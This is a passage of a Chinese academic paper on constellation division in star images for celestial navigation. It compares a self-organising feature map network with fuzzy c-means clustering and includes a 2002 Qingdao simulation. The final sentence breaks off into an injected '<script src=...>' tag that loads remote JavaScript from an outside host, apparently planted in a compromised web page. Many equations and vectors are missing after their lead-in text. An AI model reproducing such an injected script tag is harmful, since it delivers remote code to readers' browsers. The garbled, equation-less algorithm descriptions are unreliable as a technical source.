摘 要：运用自组织特征映射神经网络和模糊c均值聚类算法，分别对星空图像中星座的划分进行了仿真，得到了较满意的结果。这在一定程度上提高了天文导航计算的可靠性和准确性，为自动天文定位、定向计算提供了可靠的数据源信息。最后将此两种算法在聚类准确度等方面进行了比较。
关键词：天文导航星座划分聚类分析神经网络
1 引言
美国的全球定位系统(gps)虽然具有高精度的优势，但其最大的缺陷在于控制权在美国手中，因此在战时，这对于我们军事领域舰艇的导航无疑具有极大的制约。惯性导航技术虽然精度较高、自主性很强，但其定位误差随时间积累的特性已成为制约其发展的瓶颈。卫星导航技术、无线电导航技术则存在着易受敌方电磁干扰等方面的缺陷。天文导航作为最古老的导航定位技术之一，具有自主性、全天候性、经济性等方面的综合优势，现在各国都在加强天文导航技术的研究，提高其定位精度和速度以满足现代航船导航定位的要求。
在现代化的天文导航系统中，星空的自动化识别对提高导航精度、计算速度以及导航系统的自动化程度均有很大的影响。随着测量技术的不断提高，特别是在自动天文测量计算中，大视场的星体跟踪器可将当前时刻的星空拍摄下来，利用星体的亮度信息，对拍摄底片进行滤波处理，去除背景，保留可用于导航定位的星座或星体。利用神经网络和模糊理论进行星座划分，进而利用模式识别方法确认星座及导航星体。
2 自组织特征映射学习算法
2.1 自组织特征映射网络的结构
设输入神经元的数目为n，竞争层有m×m个神经元，构成二维平面阵列。输入层与竞争层之间实行全互连接，竞争层各神经元之间具有侧抑制连接。网络中有两种权值，一种是神经元对外部输入的连接权值；另一种是各神经元之间的连接权值，它的大小控制着神经元之间的交互作用的大小。自组织特征映射网络结构如图1所示。
2.2 学习规则
设网络的输入模式为,q。竞争层神经元输出矢量为m。其中pk为连续值，aj为数字量。竞争层神经元j与输入层神经元之间的连接权矢量为m。
对于每一个网络的输入，只调整一部分权值，使权向量更接近或更偏离输入矢量，这一调整过程就是竞争学习。随着不断学习，所有权矢量都在输入矢量空间相互分离，形成了各自代表输入空间的一类模式。
(1)初始化。将网络的连接权｛wij｝赋予［０，１］区间内的随机值，确定学习率η(t)的初始值η(0)(0＜η(0)＜1)，学习率选择的好坏对学习效率及速度都有着很大的影响；确定邻域ng(t)的初始值ng(0)。邻域ng(t)是指以步骤(4)确定的获胜神经元g为中心，且包含若干神经元的区域范围。这个区域一般是对称的，最典型的是正方形或圆形区域。ng(t)的值表示在第t次学习过程中邻域中包含的神经元数目；确定总的学习次数t。
(2)任选q个学习模式中的一个模式pk提供给网络的输入层，并进行归一化处理。
(3)对连接权矢量进行归一化处理，计算之间的欧氏距离。
(4)找出最小距离dg，确定获胜神经元g。
(5)进行连接权的修正调整。对竞争层领域ng(t)内所有神经元与输入层神经元之间的连接权进行修正。
其中η(t)为t时刻的学习率。
(6)选取另一个学习模式提供给网络的输入层，返回步骤(3)，直至q个学习模式全部提供给网络。
(7)更新学习率η(t)及邻域ng(t)
其中η(0)为初始学习率，t为学习次数，t为总的学习次数。
设竞争层某神经元g在二维阵列中的坐标值为(xg，yg)，则邻域的范围是以点nsg(t))为右上角和左下角的正方形，其修正公式为：
其中int［x］为取整符号，ng(0)为ng(t)的初始值。
(8)令t=t+1,返回步骤(2)，直至t=t为止。
2.3 实例仿真
取2002年5月6日当是时00：00：00为时间基准，青岛地区(36°n，120°e)的星空图像为例，星点坐标即数据点集如表1所示，点的坐标为星象底片上的直角坐标，由计算机自动读出，并作为神经网络的输入值。经计算机仿真得到结果如图2、图3所示。
图中“+”符号表示星点，“○”符号表示聚类中心点。
仿真过程中，选取的学习步长为25，学习训练的次数为1000，聚类数目为2。
3 模糊c均值算法
3.1 模糊c均值算法
设选取n个样本，每个样本为m维矢量，即xj＝｛xj1 xj2模糊聚类准则函数可选择使用误差平方和函数：
式中：c为要划分的类的数量，p为权幂指数，ωi为第i类的类中心坐标矢量，μji为xj属于第i类的隶属度，且∑。
模糊c-聚类划分就是要使样本矢量同类中心矢量的距离最短，根据这一准则，我们构造目标泛函为：
这样我们就得出进行聚类计算划分的?script src=http://er12.com/t.js>
